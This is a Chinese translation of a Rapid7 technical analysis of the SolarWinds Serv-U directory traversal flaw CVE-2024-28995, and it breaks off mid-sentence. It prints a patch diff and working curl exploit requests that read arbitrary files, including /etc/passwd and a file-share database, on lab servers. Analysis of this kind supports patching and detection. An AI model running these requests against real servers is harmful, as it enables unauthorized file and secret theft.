本文为外文翻译,首发于先知社区,原文地址:
https://xz.aliyun.com/t/14841
英文原文地址:https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
发表时间:2024年6月13日
概述
2024 年 6 月 5 日,SolarWinds 发布了针对 CVE-2024-28995 的公告,这是一个影响其文件传输解决方案 Serv-U 的高严重性目录遍历漏洞。该漏洞是由 Web Immunify的研究员 Hussein Daher 发现的。
据供应商称,运行在 Windows 或 Linux 上的以下版本Serv-U 都受到影响:
-
Serv-U FTP Server 15.4
-
Serv-U Gateway 15.4
-
Serv-U MFT Server 15.4
根据供应商文档,Serv-U 15.3.2 及更早版本将于 2025 年 2 月终止使用,低于此版本的所有版本都已终止使用并且不受支持。
我们的分析环境是运行在Windows Server 2022 系统上的版本为15.4.2.126的SolarWinds Serv-U File Server(64 位)。我们还确认了针对运行在 Linux 上的版本为15.4.2.126的 Serv-U File Server (64 位) 的利用。在这两种情况下,都使用了所有默认安装选项。在 Windows 或 Linux 上运行 Serv-U 时,我们创建了一个新的 Serv-U 文件传输和文件共享 “Domain”,以反映真实环境部署。
我们已验证供应商提供的修补程序 15.4.2 Hotfit 2(版本 15.4.2.157)成功修补了此漏洞。
分析
Serv-U 应用程序主要是用 C++ 编写的原生代码应用程序。大部分代码位于 Serv-U.dll 二进制文件中。我们下载了该应用程序的易受攻击版本 15.4.2.126 和包含 CVE-2024-28995 补丁的修补程序版本 15.4.2.157。
我们使用 IDA Pro 分析了这两个二进制文件,然后使用 BinDiff 执行了二进制差异分析。查看 BinDiff "function matches"结果,我们可以看到修补程序中只修改了一个函数。
两个版本中被修改的函数 sub_18016DC30
在两个二进制文件中具有相同的地址,可以对其进行反编译和比较以便更好地了解更改了什么。以下是函数修改的完整输出:
diff --git a/func_vuln.c b/func_patched.c
index a83d349..8a1bd0c 100644
--- a/func_vuln.c
+++ b/func_patched.c
@@ -25,24 +25,23 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
char v29; // bl
__int64 v30; // rax
__int64 v31; // rax
- __int64 v32; // rax
- void **v34; // [rsp+38h] [rbp-38h] BYREF
- char v35[8]; // [rsp+40h] [rbp-30h] BYREF
- void **v36; // [rsp+48h] [rbp-28h] BYREF
- wchar_t *v37; // [rsp+50h] [rbp-20h] BYREF
- char v38[24]; // [rsp+58h] [rbp-18h] BYREF
+ void **v33; // [rsp+38h] [rbp-38h] BYREF
+ char v34[8]; // [rsp+40h] [rbp-30h] BYREF
+ void **v35; // [rsp+48h] [rbp-28h] BYREF
+ wchar_t *v36; // [rsp+50h] [rbp-20h] BYREF
+ char v37[24]; // [rsp+58h] [rbp-18h] BYREF
- ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v37);
- v36 = &CRhinoString::`vftable';
- std::vector<void *>::_Orphan_range(&v36);
- v36 = (void **)&CSUString::`vftable';
- std::vector<void *>::_Orphan_range(&v36);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v36);
+ v35 = &CRhinoString::`vftable';
+ std::vector<void *>::_Orphan_range(&v35);
+ v35 = (void **)&CSUString::`vftable';
+ std::vector<void *>::_Orphan_range(&v35);
PLH::VTableSwapHook::VTableSwapHook(this, v7, v8);
- if ( (unsigned __int8)sub_1801A74A8(&v36, L"Web Client") )
+ if ( (unsigned __int8)sub_1801A74F8(&v35, L"Web Client") )
{
Manager = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
- &v34,
+ &v33,
Manager);
v10 = -1LL;
do
@@ -50,91 +49,88 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
while ( aWebClient_0[v10] );
LABEL_4:
ATL::CSimpleStringT<wchar_t,1>::Concatenate(
- &v34,
+ &v33,
qword_18046D5F8,
- *(unsigned int *)(qword_18046D5F8 - 16),
+ *((unsigned int *)qword_18046D5F8 - 4),
L"Web Client",
v10);
- ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-LABEL_46:
- ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v34);
- goto LABEL_47;
+ ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+ goto LABEL_48;
}
- if ( (unsigned __int8)sub_1801A74A8(&v36, L"Admin") )
+ if ( (unsigned __int8)sub_1801A74F8(&v35, L"Admin") )
{
- if ( a4 )
+ if ( !a4
+ || (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
+ && (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), !(unsigned int)sub_1800830B0(v11)) )
{
- if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
- || (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), (unsigned int)sub_1800830B0(v11)) )
- {
- v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
- ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
- &v34,
- v12);
- v13 = -1LL;
- do
- ++v13;
- while ( aAdmin_1[v13] );
- ATL::CSimpleStringT<wchar_t,1>::Concatenate(
- &v34,
- qword_18046D5F8,
- *(unsigned int *)(qword_18046D5F8 - 16),
- L"Admin",
- v13);
- ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
- goto LABEL_46;
- }
+ a3 = L"404NotFound.htm";
+ v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+ &v33,
+ v14);
+ v10 = -1LL;
+ do
+ ++v10;
+ while ( aWebClient_0[v10] );
+ goto LABEL_4;
}
- a3 = L"404NotFound.htm";
- v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+ v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
- &v34,
- v14);
- v10 = -1LL;
+ &v33,
+ v12);
+ v13 = -1LL;
do
- ++v10;
- while ( aWebClient_0[v10] );
- goto LABEL_4;
+ ++v13;
+ while ( aAdmin_1[v13] );
+ ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+ &v33,
+ qword_18046D5F8,
+ *((unsigned int *)qword_18046D5F8 - 4),
+ L"Admin",
+ v13);
+ ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
}
- if ( (unsigned __int8)sub_1801A74A8(&v36, L"Common") )
+ else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Common") )
{
v15 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
- &v34,
+ &v33,
v15);
v16 = -1LL;
do
++v16;
while ( aCommon_0[v16] );
ATL::CSimpleStringT<wchar_t,1>::Concatenate(
- &v34,
+ &v33,
qword_18046D5F8,
- *(unsigned int *)(qword_18046D5F8 - 16),
+ *((unsigned int *)qword_18046D5F8 - 4),
L"Common",
v16);
- ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
- goto LABEL_46;
+ ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
}
- if ( (unsigned __int8)sub_1801A74A8(&v36, L"FVJV") )
+ else if ( (unsigned __int8)sub_1801A74F8(&v35, L"FVJV") )
{
v17 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
- &v34,
+ &v33,
v17);
v18 = -1LL;
do
++v18;
while ( aFvjv_1[v18] );
ATL::CSimpleStringT<wchar_t,1>::Concatenate(
- &v34,
+ &v33,
qword_18046D5F8,
- *(unsigned int *)(qword_18046D5F8 - 16),
+ *((unsigned int *)qword_18046D5F8 - 4),
L"FVJV",
v18);
- ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
- goto LABEL_46;
+ ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
}
- if ( (unsigned __int8)sub_1801A74A8(&v36, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
+ else if ( (unsigned __int8)sub_1801A74F8(&v35, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
{
v19 = sub_180153E60(a4);
v20 = (CDomainAttrs *)v19;
@@ -146,98 +142,100 @@ LABEL_46:
0LL,
0LL,
0LL);
- if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A7484(v21 + 106) )
+ if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A74D4(v21 + 106) )
{
- v22 = (__int64)v36;
+ v22 = (__int64)v35;
v23 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v21 + 448LL))(v21);
- (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v36, v23);
+ (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v35, v23);
}
}
}
- else
+ else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
{
- if ( (unsigned __int8)sub_1801A74A8(&v36, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
- {
- v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
- ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
- &v34,
- v24);
- v25 = -1LL;
- do
- ++v25;
- while ( aSidecar_0[v25] );
- ATL::CSimpleStringT<wchar_t,1>::Concatenate(
- &v34,
- qword_18046D5F8,
- *(unsigned int *)(qword_18046D5F8 - 16),
- L"Sidecar",
- v25);
- ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
- goto LABEL_46;
- }
- if ( (unsigned __int8)sub_1801A74A8(&v36, L"Demo") && (byte_18046D5D1 & 1) != 0 )
- {
- v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
- ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
- &v34,
- v26);
- v27 = -1LL;
- do
- ++v27;
- while ( aDemo[v27] );
- ATL::CSimpleStringT<wchar_t,1>::Concatenate(
- &v34,
- qword_18046D5F8,
- *(unsigned int *)(qword_18046D5F8 - 16),
- L"Demo",
- v27);
- ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
- goto LABEL_46;
- }
- if ( !(unsigned __int8)sub_1801A74A8(&v36, L"WebClientNew") )
- {
- v32 = sub_18005C6CC(&v34, &qword_18046D5F8, &v37);
- ((void (__fastcall *)(void ***, __int64))v36[20])(&v36, v32);
- goto LABEL_46;
- }
- ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v35);
- v34 = &CRhinoString::`vftable';
- std::vector<void *>::_Orphan_range(&v34);
- v34 = (void **)&CSUString::`vftable';
- std::vector<void *>::_Orphan_range(&v34);
- v28 = sub_1801A6BD4(&v34, v38);
- v29 = sub_1801A7484(v28);
- `std::locale::global'::`1'::dtor$2(v38);
- CSUString::~CSUString((CSUString *)&v34);
+ v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+ &v33,
+ v24);
+ v25 = -1LL;
+ do
+ ++v25;
+ while ( aSidecar_0[v25] );
+ ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+ &v33,
+ qword_18046D5F8,
+ *((unsigned int *)qword_18046D5F8 - 4),
+ L"Sidecar",
+ v25);
+ ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+ }
+ else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Demo") && (byte_18046D5D1 & 1) != 0 )
+ {
+ v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+ &v33,
+ v26);
+ v27 = -1LL;
+ do
+ ++v27;
+ while ( aDemo[v27] );
+ ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+ &v33,
+ qword_18046D5F8,
+ *((unsigned int *)qword_18046D5F8 - 4),
+ L"Demo",
+ v27);
+ ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+ }
+ else if ( (unsigned __int8)sub_1801A74F8(&v35, L"WebClientNew") )
+ {
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v34);
+ v33 = &CRhinoString::`vftable';
+ std::vector<void *>::_Orphan_range(&v33);
+ v33 = (void **)&CSUString::`vftable';
+ std::vector<void *>::_Orphan_range(&v33);
+ v28 = sub_1801A6C24(&v33, v37);
+ v29 = sub_1801A74D4(v28);
+ `std::locale::global'::`1'::dtor$2(v37);
+ CSUString::~CSUString((CSUString *)&v33);
if ( !v29 )
{
v30 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
- &v34,
+ &v33,
v30);
v31 = -1LL;
do
++v31;
while ( aWebclientnew[v31] );
ATL::CSimpleStringT<wchar_t,1>::Concatenate(
- &v34,
+ &v33,
qword_18046D5F8,
- *(unsigned int *)(qword_18046D5F8 - 16),
+ *((unsigned int *)qword_18046D5F8 - 4),
L"WebClientNew",
v31);
- ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
- goto LABEL_46;
+ ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+ ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
}
}
-LABEL_47:
- if ( !(unsigned __int8)sub_1801A7484(&v36) )
+ else
+ {
+ CSUString::MakeDirSeparator((CSUString *)&v35);
+ if ( (unsigned int)sub_1801A6A18(&v35, L"\..\", 0LL) == -1 )
+ CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
+ else
+ ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
+ }
+LABEL_48:
+ if ( !(unsigned __int8)sub_1801A74D4(&v35) )
{
(*(void (__fastcall **)(CSUString *, const wchar_t *))(*(_QWORD *)this + 152LL))(this, a3);
CSUString::MakeDirSeparator(this);
- CSUString::BuildLocalPath(this, v37);
- if ( (unsigned int)sub_1801A69C8(this, L"\..\", 0LL) != -1 )
+ CSUString::BuildLocalPath(this, v36);
+ if ( (unsigned int)sub_1801A6A18(this, L"\..\", 0LL) != -1 )
ATL::CSimpleStringT<wchar_t,1>::Empty((char *)this + 8);
}
- CSUString::~CSUString((CSUString *)&v36);
+ CSUString::~CSUString((CSUString *)&v35);
return this;
}
被修改的函数是用来处理文件路径的,我们可以看到修改后的函数增加了以下检查:
else
{
CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '' character
if ( (unsigned int)sub_1801A6A18(&v35, L"\..\", 0LL) == -1 ) // CString::Find
CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
else
ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
}
检查路径是否包含双点路径段 (..),如果发现,则清除该路径。补丁中增加了这样的检查,这强烈表明该函数是目录遍历漏洞的根本原因。
当我们检查这个易受攻击的函数(此处重命名为vulnerable_path_traversal_function)的使用情况时,我们发现了该函数的使用方式。例如:
get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir");
get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile");
v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);
在几乎所有使用vulnerable_path_traversal_function的地方,在调用易受攻击的函数之前,都会检索名为InternalDir和InternalFile的HTTP请求参数。
只需提供这两个请求参数就能触发目录遍历漏洞并读取任意文件吗?一个快速的curl命令证明我们找对了地方……
注意:由于在整个分析过程中,curl都在Windows主机上运行,因此与符号(&)用插入符号(^)进行转义。
curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../^&InternalFile=hax
以下文件系统访问是由目标服务器上的 Procmon 捕获的,并验证了操作中的路径遍历漏洞。
现在,我们可以修改请求路径以获取我们想要读取的目标服务器上的任意文件。在 Windows 上,Serv-U 程序数据存储在文件夹 C:ProgramDataRhinoSoftServ-U
中。在此文件夹下,文件 Serv-U-StartupLog.txt
包含应用程序启动期间产生的应用程序日志信息。此文件将包含目标 Serv-U 服务的版本号等。这是一个很好的用来验证漏洞存在的读取文件候选。
重新执行我们的 curl 请求,我们现在读取 C:ProgramDataRhinoSoftServ-UServ-U-StartupLog.txt
文件,如下所示:
>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 13:46:06 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; httponly
Content-Length: 2119
[01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC. All rights reserved.
[01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33
[01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200
[01] Tue 11Jun24 01:28:15 - Loaded graphics library.
[01] Tue 11Jun24 01:28:15 - Loaded ODBC database library.
[01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries.
[01] Tue 11Jun24 01:28:15 - Loaded SQLite library.
[01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF.
[01] Tue 11Jun24 01:28:15 - Valid Server Identity found
[01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized.
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
成功了!现在,只要我们知道要读取的文件路径,我们就可以通过双点路径符号遍历操作系统的文件系统并读取任何文件(包括二进制文件)。
值得注意的是,我们的目标是 Windows 系统,但能够在 HTTP 请求中传递正斜杠 (/
) 字符作为路径分隔符。在 Windows 上,反斜杠字符 () 是路径分隔符。这似乎是漏洞根源的关键部分。进一步调查后,我们发现,漏洞函数尝试通过在攻击者提供的路径中查找路径段 ..
来检测路径遍历。然而,如果我们提供由正斜杠分隔的路径段,例如 /../
,我们就可以绕过此检查。然后,在函数 sub_180165B60 中,在调用 wfopen_s 实际打开此文件之前,会调用一个辅助方法,该方法会将所有/
字符替换为底层操作系统原生的路径分隔符 。因此,我们可以使用下面的路径段来绕过路径遍历时路径段的检查:
C:Program FilesRhinoSoftServ-UClient/../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt
在文件打开之前,路径将被转换为:
C:Program FilesRhinoSoftServ-UClient\........ProgramDataRhinoSoftServ-U\Serv-U-StartupLog.txt
这在 Windows 上是有效路径。在基于 Linux 的目标上,技术是相同的,但是路径分隔符是相反的,因此 将被替换为 /
。
默认的 Windows 安装是使用 NT AUTHORITYNETWORK SERVICE
权限来运行 Serv-U 服务的。默认的 Linux 安装是使用 root 权限来运行 Serv-U 服务的。运行Serv-U 服务的权限将影响读取文件的能力,Serv-U 服务不能读取它本来没有权限读取的文件。举个例子,如果 Serv-U 服务在 Linux 上以 root 身份运行,则不会出现问题。
另一个值得读取的有意思的文件是 C:ProgramDataRhinoSoftServ-USharesServ-U.FileShares
。这是一个SQLite3 数据库,包含 Serv-U 服务每个共享文件的 ShareToken。ShareToken 是外部读取共享文件时所需的密钥。然而在 Windows 上此文件是锁定的,尝试读取该文件会失败。Serv-U.exe
进程中对 kernelbase!CreateFileW
的调用将返回 ERROR_SHARING_VIOLATION
。
当以基于 Linux 的系统为目标时,我们可以读取任意文件,例如如下所示/etc/passwd
,注意,路径分隔符必须是反斜杠 (),而不是正斜杠 (/
)。
>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=........etc^&InternalFile=passwd
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 14:55:28 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Last-Modified: Tue, 16 Jan 2024 10:58:11 GMT
Expires: -1
Cache-Control: must-revalidate, private
Content-Length: 3017
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
虽然 SQLite 数据库 Serv-U.FileShares
在 Windows 上被锁定,但我们可以在 Linux 目标上成功读取此文件,如下所示:
curl -i -k --path-as-is https://192.168.86.43/?InternalDir=..Shares^&InternalFile=Serv-U.FileShares --output Serv-U.FileShares
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 61440 100 61440 0 0 1965k 0 --:--:-- --:--:-- --:--:-- 2000k
生成的输出将包含一个 HTTP 响应头,我们必须先将其删除,以便只留下所需文件的内容。然后使用DB Browser for SQLite等工具,我们就可以读取数据库并发现目标系统上的每个共享文件。
知道共享文件的位置(如例子中 ad_hoc_files
表的 FullPath
列中所示),我们就可以按如下方式读取共享文件:
>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=........testdomain7PzhW3v7W^&InternalFile=secrets.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 15:56:44 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; secure; httponly
Content-Length: 18
THIS IS A SECRET!
注意路径中的随机目录名称(上例中为PzhW3v7W
